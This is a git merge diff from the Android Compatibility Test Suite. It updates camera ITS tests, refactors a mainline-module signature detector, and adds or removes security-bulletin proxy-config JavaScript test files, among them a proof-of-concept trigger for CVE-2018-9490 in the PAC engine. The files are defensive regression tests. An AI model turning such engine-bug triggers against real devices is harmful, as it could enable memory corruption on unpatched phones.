Merge "Add new CTS for background call audio" am: 0188038b56
am: 10996a1396

Change-Id: I70561557eca46829fa94f820c58b0f879c914e11
diff --git a/apps/CameraITS/pymodules/its/objects.py b/apps/CameraITS/pymodules/its/objects.py
index 1f457f4..3c39205 100644
--- a/apps/CameraITS/pymodules/its/objects.py
+++ b/apps/CameraITS/pymodules/its/objects.py
@@ -12,16 +12,9 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
-import os
-import os.path
-import sys
-import re
-import json
-import tempfile
-import time
-import unittest
-import subprocess
 import math
+import unittest
+
 
 def int_to_rational(i):
     """Function to convert Python integers to Camera2 rationals.
@@ -322,6 +315,23 @@
     return fmt
 
 
+def get_largest_jpeg_format(props, match_ar=None):
+    """Return a capture request and format spec for the largest jpeg size.
+
+    Args:
+        props:    the object returned from its.device.get_camera_properties().
+        match_ar: aspect ratio to match
+
+    Returns:
+        fmt:      an output format specification, for the largest possible jpeg
+        format for this device.
+    """
+    size = get_available_output_sizes("jpeg", props, match_ar_size=match_ar)[0]
+    fmt = {"format": "jpeg", "width": size[0], "height": size[1]}
+
+    return fmt
+
+
 def get_max_digital_zoom(props):
     """Returns the maximum amount of zooming possible by the camera device.
 
diff --git a/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py b/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
index 4d601e8..de134a7 100644
--- a/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
+++ b/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
@@ -84,7 +84,7 @@
     for ar_string in AR_CHECKED:
         match_ar = [float(x) for x in ar_string.split(":")]
         try:
-            f = its.objects.get_largest_yuv_format(props, match_ar=match_ar)
+            f = its.objects.get_largest_jpeg_format(props, match_ar=match_ar)
             if f["height"] > height_max:
                 height_max = f["height"]
             if f["width"] > width_max:
@@ -113,8 +113,8 @@
     return ar_scaling
 
 
-def find_yuv_fov_reference(cam, req, props):
-    """Determine the circle coverage of the image in YUV reference image.
+def find_jpeg_fov_reference(cam, req, props):
+    """Determine the circle coverage of the image in JPEG reference image.
 
     Args:
         cam:        camera object
@@ -131,7 +131,7 @@
     for ar in AR_CHECKED:
         match_ar = [float(x) for x in ar.split(":")]
         try:
-            f = its.objects.get_largest_yuv_format(props, match_ar=match_ar)
+            f = its.objects.get_largest_jpeg_format(props, match_ar=match_ar)
             fmt_dict[f["height"]*f["width"]] = {"fmt": f, "ar": ar}
         except IndexError:
             continue
@@ -143,16 +143,18 @@
     cap = cam.do_capture(req, fmt_dict[ar_max_pixels]["fmt"])
     w = cap["width"]
     h = cap["height"]
+    fmt = cap["format"]
+
     img = its.image.convert_capture_to_rgb_image(cap, props=props)
-    print "Captured %s %dx%d" % ("yuv", w, h)
-    img_name = "%s_%s_w%d_h%d.png" % (NAME, "yuv", w, h)
+    print "Captured %s %dx%d" % (fmt, w, h)
+    img_name = "%s_%s_w%d_h%d.png" % (NAME, fmt, w, h)
     _, _, circle_size = measure_aspect_ratio(img, False, img_name, True)
     fov_percent = calc_circle_image_ratio(circle_size[1], circle_size[0], w, h)
     ref_fov["fmt"] = fmt_dict[ar_max_pixels]["ar"]
     ref_fov["percent"] = fov_percent
     ref_fov["w"] = w
     ref_fov["h"] = h
-    print "Using YUV reference:", ref_fov
+    print "Using JPEG reference:", ref_fov
     return ref_fov
 
 
@@ -237,7 +239,7 @@
         # If raw capture is available, use it as ground truth.
         if raw_avlb:
             # Capture full-frame raw. Use its aspect ratio and circle center
-            # location as ground truth for the other jepg or yuv images.
+            # location as ground truth for the other jpeg or yuv images.
             print "Creating references for fov_coverage from RAW"
             out_surface = {"format": "raw"}
             cap_raw = cam.do_capture(req, out_surface)
@@ -311,9 +313,9 @@
                 ref_fov["h"] = h_raw
                 print "Using RAW reference:", ref_fov
             else:
-                ref_fov = find_yuv_fov_reference(cam, req, props)
+                ref_fov = find_jpeg_fov_reference(cam, req, props)
         else:
-            ref_fov = find_yuv_fov_reference(cam, req, props)
+            ref_fov = find_jpeg_fov_reference(cam, req, props)
 
         # Determine scaling factors for AR calculations
         ar_scaling = aspect_ratio_scale_factors(ref_fov["fmt"], props)
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index b7a1247..882a01c 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -1722,6 +1722,8 @@
             <meta-data android:name="test_category" android:value="@string/test_category_sensors"/>
             <meta-data android:name="test_required_features"
                        android:value="android.hardware.sensor.accelerometer"/>
+            <meta-data android:name="test_excluded_features"
+                       android:value="android.hardware.type.automotive"/>
         </activity>
 
         <activity android:name=".sensors.GyroscopeMeasurementTestActivity"
@@ -1734,6 +1736,8 @@
             <meta-data android:name="test_category" android:value="@string/test_category_sensors"/>
             <meta-data android:name="test_required_features"
                        android:value="android.hardware.sensor.gyroscope"/>
+            <meta-data android:name="test_excluded_features"
+                       android:value="android.hardware.type.automotive"/>
         </activity>
 
         <activity android:name=".sensors.HeartRateMonitorTestActivity"
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java b/apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java
index 85c2753..f32d79da 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java
@@ -55,9 +55,9 @@
     private static final String SUITE_NAME_METADATA_KEY = "SuiteName";
     private static final String SUITE_PLAN = "verifier";
     private static final String SUITE_BUILD = "0";
-    private static final long START_MS = System.currentTimeMillis();
-    private static final long END_MS = START_MS;
     private static final String ZIP_EXTENSION = ".zip";
+    private final long START_MS = System.currentTimeMillis();
+    private final long END_MS = START_MS;
     private final Context mContext;
     private final TestListAdapter mAdapter;
 
diff --git a/apps/MainlineModuleDetector/Android.mk b/apps/MainlineModuleDetector/Android.mk
index b99f8f7..5b8e316 100644
--- a/apps/MainlineModuleDetector/Android.mk
+++ b/apps/MainlineModuleDetector/Android.mk
@@ -1,5 +1,5 @@
 #
-# Copyright (C) 2018 The Android Open Source Project
+# Copyright (C) 2019 The Android Open Source Project
 #
 # Licensed under the Apache License, Version 2.0 (the "License");
 # you may not use this file except in compliance with the License.
@@ -21,6 +21,8 @@
 
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt
+
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_PACKAGE_NAME := MainlineModuleDetector
diff --git a/apps/MainlineModuleDetector/AndroidManifest.xml b/apps/MainlineModuleDetector/AndroidManifest.xml
index 9a36cc6..4cc8f8c 100644
--- a/apps/MainlineModuleDetector/AndroidManifest.xml
+++ b/apps/MainlineModuleDetector/AndroidManifest.xml
@@ -1,6 +1,6 @@
 <?xml version="1.0" encoding="utf-8"?>
 
-<!-- Copyright (C) 2018 The Android Open Source Project
+<!-- Copyright (C) 2019 The Android Open Source Project
 
      Licensed under the Apache License, Version 2.0 (the "License");
      you may not use this file except in compliance with the License.
diff --git a/apps/MainlineModuleDetector/src/com/android/cts/mainlinemoduledetector/MainlineModuleDetector.java b/apps/MainlineModuleDetector/src/com/android/cts/mainlinemoduledetector/MainlineModuleDetector.java
index 5e473d6..01c02c7 100644
--- a/apps/MainlineModuleDetector/src/com/android/cts/mainlinemoduledetector/MainlineModuleDetector.java
+++ b/apps/MainlineModuleDetector/src/com/android/cts/mainlinemoduledetector/MainlineModuleDetector.java
@@ -1,14 +1,28 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
 package com.android.cts.mainlinemoduledetector;
 
 import android.app.Activity;
-import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
-import android.os.Build;
 import android.os.Bundle;
 import android.util.Log;
 
-import java.security.MessageDigest;
-import java.util.EnumSet;
+import com.android.compatibility.common.util.mainline.MainlineModule;
+import com.android.compatibility.common.util.mainline.ModuleDetector;
+
 import java.util.HashSet;
 import java.util.Set;
 
@@ -16,143 +30,20 @@
 
     private static final String LOG_TAG = "MainlineModuleDetector";
 
-    private static final char[] HEX_ARRAY = "0123456789ABCDEF".toCharArray();
-
-    enum ModuleType {
-        APEX,
-        APK
-    }
-
-    enum MainlineModule {
-        // Security
-        MEDIA_SOFTWARE_CODEC("com.google.android.media.swcodec",
-                true, ModuleType.APEX,
-                "0C:2B:13:87:6D:E5:6A:E6:4E:D1:DE:93:42:2A:8A:3F:EA:6F:34:C0:FC:5D:7D:A1:BD:CF:EF"
-                        + ":C1:A7:B7:C9:1D"),
-        MEDIA("com.google.android.media",
-                true, ModuleType.APEX,
-                "16:C1:5C:FA:15:D0:FD:D0:7E:BE:CB:5A:76:6B:40:8B:05:DD:92:7E:1F:3A:DD:C5:AB:F6:8E"
-                        + ":E8:B9:98:F9:FD"),
-        DNS_RESOLVER("com.google.android.resolv",
-                true, ModuleType.APEX,
-                "EC:82:21:76:5E:4F:7E:2C:6D:8D:0F:0C:E9:BD:82:5B:98:BE:D2:0C:07:2C:C6:C8:08:DD:E4"
-                        + ":68:5F:EB:A6:FF"),
-        CONSCRYPT("com.google.android.conscrypt",
-                true, ModuleType.APEX,
-                "8C:5D:A9:10:E6:11:21:B9:D6:E0:3B:42:D3:20:6A:7D:AD:29:DD:C1:63:AE:CD:4B:8E:E9:3F"
-                        + ":D3:83:79:CA:2A"),
-        // Privacy
-        PERMISSION_CONTROLLER("com.google.android.permissioncontroller",
-                false, ModuleType.APK,
-                "89:DF:B5:04:7E:E0:19:29:C2:18:4D:68:EF:49:64:F2:A9:0A:F1:24:C3:23:38:28:B8:F6:40"
-                        + ":D9:E6:C0:0F:83"),
-        ANDROID_SERVICES("com.google.android.ext.services",
-                false, ModuleType.APK,
-                "18:46:05:09:5B:E6:CA:22:D0:55:F3:4E:FA:F0:13:44:FD:3A:B3:B5:63:8C:30:62:76:10:EE"
-                        + ":AE:8A:26:0B:29"),
-        DOCUMENTS_UI("com.google.android.documentsui",
-                true, ModuleType.APK,
-                "9A:4B:85:34:44:86:EC:F5:1F:F8:05:EB:9D:23:17:97:79:BE:B7:EC:81:91:93:5A:CA:67:F0"
-                        + ":F4:09:02:52:97"),
-        // Consistency
-        TZDATA("com.google.android.tzdata",
-                true, ModuleType.APEX,
-                "55:93:DD:78:CB:26:EC:9B:00:59:2A:6A:F5:94:E4:16:1F:FD:B5:E9:F3:71:A7:43:54:5F:93"
-                        + ":F2:A0:F6:53:89"),
-        NETWORK_STACK("com.google.android.networkstack",
-                true, ModuleType.APK,
-                "5F:A4:22:12:AD:40:3E:22:DD:6E:FE:75:F3:F3:11:84:05:1F:EF:74:4C:0B:05:BE:5C:73:ED"
-                        + ":F6:0B:F6:2C:1E"),
-        CAPTIVE_PORTAL_LOGIN("com.google.android.captiveportallogin",
-                true, ModuleType.APK,
-                "5F:A4:22:12:AD:40:3E:22:DD:6E:FE:75:F3:F3:11:84:05:1F:EF:74:4C:0B:05:BE:5C:73:ED"
-                        + ":F6:0B:F6:2C:1E"),
-        NETWORK_PERMISSION_CONFIGURATION("com.google.android.networkstack.permissionconfig",
-                true, ModuleType.APK,
-                "5F:A4:22:12:AD:40:3E:22:DD:6E:FE:75:F3:F3:11:84:05:1F:EF:74:4C:0B:05:BE:5C:73:ED"
-                        + ":F6:0B:F6:2C:1E"),
-        MODULE_METADATA("com.google.android.modulemetadata",
-                true, ModuleType.APK,
-                "BF:62:23:1E:28:F0:85:42:75:5C:F3:3C:9D:D8:3C:5D:1D:0F:A3:20:64:50:EF:BC:4C:3F:F3"
-                        + ":D5:FD:A0:33:0F"),
-        ;
-
-        String packageName;
-        boolean isPlayUpdated;
-        ModuleType moduleType;
-        String certSHA256;
-
-        MainlineModule(String packageName, boolean isPlayUpdated, ModuleType moduleType,
-                String certSHA256) {
-            this.packageName = packageName;
-            this.isPlayUpdated = isPlayUpdated;
-            this.moduleType = moduleType;
-            this.certSHA256 = certSHA256;
-        }
-    }
-
     @Override
     public void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
         try {
-            String modules = String.join(",", getPlayManagedModules());
-            Log.i(LOG_TAG, "Play managed modules are: <" + modules + ">");
+            PackageManager pm = getApplicationContext().getPackageManager();
+            Set<MainlineModule> modules = ModuleDetector.getPlayManagedModules(pm);
+            Set<String> moduleNames = new HashSet<>();
+            for (MainlineModule module : modules) {
+                moduleNames.add(module.packageName);
+            }
+            Log.i(LOG_TAG, "Play managed modules are: <" + String.join(",", moduleNames) + ">");
         } catch (Exception e) {
             Log.e(LOG_TAG, "Failed to retrieve modules.", e);
         }
         this.finish();
     }
-
-    private Set<String> getPlayManagedModules() throws Exception {
-        Set<String> playManagedModules = new HashSet<>();
-
-        PackageManager pm = getApplicationContext().getPackageManager();
-
-        Set<String> packages = new HashSet<>();
-        for (PackageInfo info : pm.getInstalledPackages(0)) {
-            packages.add(info.packageName);
-        }
-        for (PackageInfo info : pm.getInstalledPackages(PackageManager.MATCH_APEX)) {
-            packages.add(info.packageName);
-        }
-
-        for (MainlineModule module : EnumSet.allOf(MainlineModule.class)) {
-            if (module.isPlayUpdated && packages.contains(module.packageName)
-                    && module.certSHA256.equals(getSignatureDigest(module))) {
-                playManagedModules.add(module.packageName);
-            }
-        }
-        return playManagedModules;
-    }
-
-    private String getSignatureDigest(MainlineModule module) throws Exception {
-        PackageManager pm = getApplicationContext().getPackageManager();
-        int flag = PackageManager.GET_SIGNING_CERTIFICATES;
-        if (module.moduleType == ModuleType.APEX) {
-            flag |= PackageManager.MATCH_APEX;
-        }
-
-        PackageInfo packageInfo = pm.getPackageInfo(module.packageName, flag);
-        MessageDigest messageDigest = MessageDigest.getInstance("SHA256");
-        messageDigest.update(packageInfo.signingInfo.getApkContentsSigners()[0].toByteArray());
-
-        final byte[] digest = messageDigest.digest();
-        final int digestLength = digest.length;
-        final int charCount = 3 * digestLength - 1;
-
-        final char[] chars = new char[charCount];
-        for (int i = 0; i < digestLength; i++) {
-            final int byteHex = digest[i] & 0xFF;
-            chars[i * 3] = HEX_ARRAY[byteHex >>> 4];
-            chars[i * 3 + 1] = HEX_ARRAY[byteHex & 0x0F];
-            if (i < digestLength - 1) {
-                chars[i * 3 + 2] = ':';
-            }
-        }
-
-        String ret = new String(chars);
-        Log.d(LOG_TAG, "Module: " + module.packageName + " has signature: " + ret);
-        return ret;
-    }
-
 }
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicTestCase.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicTestCase.java
index 6516bcc..02aaad8 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicTestCase.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicTestCase.java
@@ -74,6 +74,13 @@
             Log.i(TAG, "Finding business logic for test case: " + testName);
             BusinessLogicExecutor executor = new BusinessLogicDeviceExecutor(getContext(), this);
             mBusinessLogic.applyLogicFor(testName, executor);
+        } else {
+            /* There are cases in which this is an acceptable outcome, and we do not want to fail.
+             * For instance, some business logic rule lists are only sent from the server
+             * for certain devices (see go/aes-gts).  Devices exempt from those rules will
+             * receive no BL config for some tests, and this should result in a pass.
+             */
+            Log.d(TAG, "No business logic found for test: " + testName);
         }
     }
 
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/MainlineModule.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/MainlineModule.java
new file mode 100644
index 0000000..b34242e
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/MainlineModule.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util.mainline;
+
+/**
+ * Enum containing metadata for mainline modules.
+ */
+public enum MainlineModule {
+    // Security
+    MEDIA_SOFTWARE_CODEC("com.google.android.media.swcodec",
+            true, ModuleType.APEX,
+            "0C:2B:13:87:6D:E5:6A:E6:4E:D1:DE:93:42:2A:8A:3F:EA:6F:34:C0:FC:5D:7D:A1:BD:CF:EF"
+                    + ":C1:A7:B7:C9:1D"),
+    MEDIA("com.google.android.media",
+            true, ModuleType.APEX,
+            "16:C1:5C:FA:15:D0:FD:D0:7E:BE:CB:5A:76:6B:40:8B:05:DD:92:7E:1F:3A:DD:C5:AB:F6:8E"
+                    + ":E8:B9:98:F9:FD"),
+    DNS_RESOLVER("com.google.android.resolv",
+            true, ModuleType.APEX,
+            "EC:82:21:76:5E:4F:7E:2C:6D:8D:0F:0C:E9:BD:82:5B:98:BE:D2:0C:07:2C:C6:C8:08:DD:E4"
+                    + ":68:5F:EB:A6:FF"),
+    CONSCRYPT("com.google.android.conscrypt",
+            true, ModuleType.APEX,
+            "8C:5D:A9:10:E6:11:21:B9:D6:E0:3B:42:D3:20:6A:7D:AD:29:DD:C1:63:AE:CD:4B:8E:E9:3F"
+                    + ":D3:83:79:CA:2A"),
+    // Privacy
+    PERMISSION_CONTROLLER("com.google.android.permissioncontroller",
+            false, ModuleType.APK,
+            "89:DF:B5:04:7E:E0:19:29:C2:18:4D:68:EF:49:64:F2:A9:0A:F1:24:C3:23:38:28:B8:F6:40"
+                    + ":D9:E6:C0:0F:83"),
+    ANDROID_SERVICES("com.google.android.ext.services",
+            false, ModuleType.APK,
+            "18:46:05:09:5B:E6:CA:22:D0:55:F3:4E:FA:F0:13:44:FD:3A:B3:B5:63:8C:30:62:76:10:EE"
+                    + ":AE:8A:26:0B:29"),
+    DOCUMENTS_UI("com.google.android.documentsui",
+            true, ModuleType.APK,
+            "9A:4B:85:34:44:86:EC:F5:1F:F8:05:EB:9D:23:17:97:79:BE:B7:EC:81:91:93:5A:CA:67:F0"
+                    + ":F4:09:02:52:97"),
+    // Consistency
+    TZDATA("com.google.android.tzdata",
+            true, ModuleType.APEX,
+            "55:93:DD:78:CB:26:EC:9B:00:59:2A:6A:F5:94:E4:16:1F:FD:B5:E9:F3:71:A7:43:54:5F:93"
+                    + ":F2:A0:F6:53:89"),
+    NETWORK_STACK("com.google.android.networkstack",
+            true, ModuleType.APK,
+            "5F:A4:22:12:AD:40:3E:22:DD:6E:FE:75:F3:F3:11:84:05:1F:EF:74:4C:0B:05:BE:5C:73:ED"
+                    + ":F6:0B:F6:2C:1E"),
+    CAPTIVE_PORTAL_LOGIN("com.google.android.captiveportallogin",
+            true, ModuleType.APK,
+            "5F:A4:22:12:AD:40:3E:22:DD:6E:FE:75:F3:F3:11:84:05:1F:EF:74:4C:0B:05:BE:5C:73:ED"
+                    + ":F6:0B:F6:2C:1E"),
+    NETWORK_PERMISSION_CONFIGURATION("com.google.android.networkstack.permissionconfig",
+            true, ModuleType.APK,
+            "5F:A4:22:12:AD:40:3E:22:DD:6E:FE:75:F3:F3:11:84:05:1F:EF:74:4C:0B:05:BE:5C:73:ED"
+                    + ":F6:0B:F6:2C:1E"),
+    MODULE_METADATA("com.google.android.modulemetadata",
+            true, ModuleType.APK,
+            "BF:62:23:1E:28:F0:85:42:75:5C:F3:3C:9D:D8:3C:5D:1D:0F:A3:20:64:50:EF:BC:4C:3F:F3"
+                    + ":D5:FD:A0:33:0F"),
+    ;
+
+    public final String packageName;
+    public final boolean isPlayUpdated;
+    public final ModuleType moduleType;
+    public final String certSHA256;
+
+    MainlineModule(String packageName, boolean isPlayUpdated, ModuleType moduleType,
+            String certSHA256) {
+        this.packageName = packageName;
+        this.isPlayUpdated = isPlayUpdated;
+        this.moduleType = moduleType;
+        this.certSHA256 = certSHA256;
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/ModuleDetector.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/ModuleDetector.java
new file mode 100644
index 0000000..11b467d
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/ModuleDetector.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util.mainline;
+
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.util.Log;
+
+import java.security.MessageDigest;
+import java.util.EnumSet;
+import java.util.HashSet;
+import java.util.Set;
+
+/**
+ * Detects mainline modules.
+ */
+public class ModuleDetector {
+    private static final String LOG_TAG = "MainlineModuleDetector";
+
+    private static final char[] HEX_ARRAY = "0123456789ABCDEF".toCharArray();
+
+    /**
+     * Return true if a module is play managed.
+     *
+     * Example of skipping a test based on mainline modules:
+     * <pre>
+     *  @Test
+     *  public void testPocCVE_1234_5678() throws Exception {
+     *      if(!ModuleDetector.moduleIsPlayManaged(
+     *          getInstrumentation().getContext().getPackageManager(),
+     *          MainlineModule.MEDIA_SOFTWARE_CODEC)) {
+     *          doStagefrightTest(R.raw.cve_2018_5882);
+     *      }
+     *  }
+     * </pre>
+     */
+    public static boolean moduleIsPlayManaged(PackageManager pm, MainlineModule module)
+            throws Exception {
+        return getPlayManagedModules(pm).contains(module);
+    }
+
+
+    /**
+     * Return all play managed mainline modules.
+     */
+    public static Set<MainlineModule> getPlayManagedModules(PackageManager pm) throws Exception {
+        Set<MainlineModule> playManagedModules = new HashSet<>();
+
+        Set<String> packages = new HashSet<>();
+        for (PackageInfo info : pm.getInstalledPackages(0)) {
+            packages.add(info.packageName);
+        }
+        for (PackageInfo info : pm.getInstalledPackages(PackageManager.MATCH_APEX)) {
+            packages.add(info.packageName);
+        }
+
+        for (MainlineModule module : EnumSet.allOf(MainlineModule.class)) {
+            if (module.isPlayUpdated && packages.contains(module.packageName)
+                    && module.certSHA256.equals(getSignatureDigest(pm, module))) {
+                playManagedModules.add(module);
+            }
+        }
+        return playManagedModules;
+    }
+
+    private static String getSignatureDigest(PackageManager pm, MainlineModule module)
+            throws Exception {
+        int flag = PackageManager.GET_SIGNING_CERTIFICATES;
+        if (module.moduleType == ModuleType.APEX) {
+            flag |= PackageManager.MATCH_APEX;
+        }
+
+        PackageInfo packageInfo = pm.getPackageInfo(module.packageName, flag);
+        MessageDigest messageDigest = MessageDigest.getInstance("SHA256");
+        messageDigest.update(packageInfo.signingInfo.getApkContentsSigners()[0].toByteArray());
+
+        final byte[] digest = messageDigest.digest();
+        final int digestLength = digest.length;
+        final int charCount = 3 * digestLength - 1;
+
+        final char[] chars = new char[charCount];
+        for (int i = 0; i < digestLength; i++) {
+            final int byteHex = digest[i] & 0xFF;
+            chars[i * 3] = HEX_ARRAY[byteHex >>> 4];
+            chars[i * 3 + 1] = HEX_ARRAY[byteHex & 0x0F];
+            if (i < digestLength - 1) {
+                chars[i * 3 + 2] = ':';
+            }
+        }
+
+        String ret = new String(chars);
+        Log.d(LOG_TAG, "Module: " + module.packageName + " has signature: " + ret);
+        return ret;
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/ModuleType.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/ModuleType.java
new file mode 100644
index 0000000..b50d62c
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/ModuleType.java
@@ -0,0 +1,24 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util.mainline;
+
+/**
+ * File type of mainline module.
+ */
+public enum ModuleType {
+    APEX,
+    APK
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java
index de7c837..15aa05e 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java
@@ -514,7 +514,7 @@
         // enforcement, so we verify that total/free space are identical.
         final long totalDelta = Math.abs(current.getTotalSpace() - primary.getTotalSpace());
         final long freeDelta = Math.abs(current.getFreeSpace() - primary.getFreeSpace());
-        if (totalDelta > MB_IN_BYTES || freeDelta > MB_IN_BYTES) {
+        if (totalDelta > MB_IN_BYTES * 300 || freeDelta > MB_IN_BYTES * 300) {
             fail("Expected primary storage to be on same volume as app");
         }
     }
diff --git a/hostsidetests/checkpoint/src/android/checkpoint/cts/CheckpointHostTest.java b/hostsidetests/checkpoint/src/android/checkpoint/cts/CheckpointHostTest.java
index ea876d9..d128c2d 100644
--- a/hostsidetests/checkpoint/src/android/checkpoint/cts/CheckpointHostTest.java
+++ b/hostsidetests/checkpoint/src/android/checkpoint/cts/CheckpointHostTest.java
@@ -16,6 +16,7 @@
 
 package android.checkpoint.cts;
 
+import com.android.compatibility.common.util.ApiLevelUtil;
 import com.android.compatibility.common.util.CtsDownstreamingTest;
 import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.testtype.DeviceTestCase;
@@ -30,6 +31,9 @@
 
     @CtsDownstreamingTest
     public void testLogEntries() throws Exception {
+        // This test is build also as a part of GTS, which runs also on older releases.
+        if (ApiLevelUtil.isBefore(getDevice(), "Q")) return;
+
         // Clear buffer to make it easier to find new logs
         getDevice().executeShellCommand("logcat --clear");
 
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index 5fbfbd5..d1551d0 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -181,7 +181,6 @@
         <!--__________________-->
         <!-- Bulletin 2018-10 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="CVE-2018-9490->/data/local/tmp/CVE-2018-9490" />
         <option name="push" value="CVE-2018-9515->/data/local/tmp/CVE-2018-9515" />
 
         <!--__________________-->
diff --git a/hostsidetests/securitybulletin/res/CVE-2018-9490.pac b/hostsidetests/securitybulletin/res/CVE-2018-9490.pac
new file mode 100644
index 0000000..9fb7ba8
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/CVE-2018-9490.pac
@@ -0,0 +1,15 @@
+function FindProxyForURL(url, host){
+    alert("enter");
+    let arr = [];
+    arr[1000] = 0x1234;
+
+    arr.__defineGetter__(256, function () {
+            delete arr[256];
+            arr.unshift(1.1);
+            arr.length = 0;
+            });
+
+    Object.entries(arr).toString();
+    alert(JSON.stringify(entries));
+    return 0;
+}
diff --git a/hostsidetests/securitybulletin/res/bug_138442295.pac b/hostsidetests/securitybulletin/res/bug_138442295.pac
deleted file mode 100644
index fc8fd5f..0000000
--- a/hostsidetests/securitybulletin/res/bug_138442295.pac
+++ /dev/null
@@ -1,7 +0,0 @@
-function FindProxyForURL(url, host){
-  _v3 = ({ _v7 = (function outer() {  
-                  for ([...[]][function inner() {}] in []) {}
-                })} = {}) => {};
-  _v3();
-  return "DIRECT";
-}
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/res/bug_139806216.pac b/hostsidetests/securitybulletin/res/bug_139806216.pac
new file mode 100644
index 0000000..3a1e34d
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/bug_139806216.pac
@@ -0,0 +1,4 @@
+function FindProxyForURL(url, host){
+    var x = new ArrayBuffer(1);
+    return "DIRECT";
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/Android.bp
deleted file mode 100644
index faa1a0f..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/Android.bp
+++ /dev/null
@@ -1,20 +0,0 @@
-// Copyright (C) 2018 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
